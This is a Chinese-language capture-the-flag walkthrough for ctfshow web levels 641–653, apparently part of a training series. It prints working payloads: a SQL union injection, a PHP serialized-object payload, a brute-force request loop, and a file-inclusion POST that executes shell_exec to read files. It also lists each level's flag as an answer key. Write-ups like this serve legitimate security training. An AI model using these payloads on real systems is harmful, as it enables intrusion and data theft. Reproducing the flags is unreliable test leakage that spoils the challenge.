配合脚本学习效果更佳
web641
在请求头中
web642
首页看到敏感路径,抓包得到flag。
web643
通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flag
web644
首页css中存在路径
访问后跳转到登录界面
查看js得到flag以及登录的密码(0x36d)
web645
备份功能下载下来后可以看到flag
flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}
web646
通过远程更新功能获取各个文件的源码
在init.php中得到flag
web647
分析users.php,发现想要拿到647flag需要满足如下条件
可以调用一个不带参数的方法,只要方法的返回值是372619038即可。
想到开了session,那么我们可以调用session_id,然后修改phpsessid的值。
flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
web648
关键函数
function evilClass($m,$k) {
class ctfshow {
public $m;
public function construct($m) {
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat \/FLAG\/FLAG647')) {
echo shell_exec('cat \/FLAG\/FLAG648');
} else {
echo 'mmmmm?';
}
}
随便传个m,然后key传647的值。
payload:
system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
web649
试了下getArray()方法,发现下标18每次产生的值范围不大而且接近18,当然其他的也有可能。
payload
import requests
url="http://aaadafd2-5e71-4dbf-b257-60eb106c3648.challenge.ctf.show:8080/system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"
while True:
r=requests.get(url)
if "ctf" in r.text:
print(r.text)
break
flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
web650
和647差不多
payload:
url/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
web651
<?php
class a{
public $username='123';
public $x="ctfshow";
}
$a=new a();
echo serialize($a);
payload:
?action=evilArray&m=O:1:"a":2:{s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
web652
util/dbutil.php存在sql注入
在page.php调用了查询函数
payload:
page.php?id=0) union select secret from ctfshow_secret%23
flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
web653
同样的方式获取ctfshow_keys下的key
payload:
page.php?id=0) union select `key` from ctfshow_keys%23
得到key:key_is_here_you_know
后面就是利用common中的文件包含了
system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
post:
key=key_is_here_you_know&file=../db/data_you_never_know.db&1=echo shell_exec('cat /s*');
flag_653=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}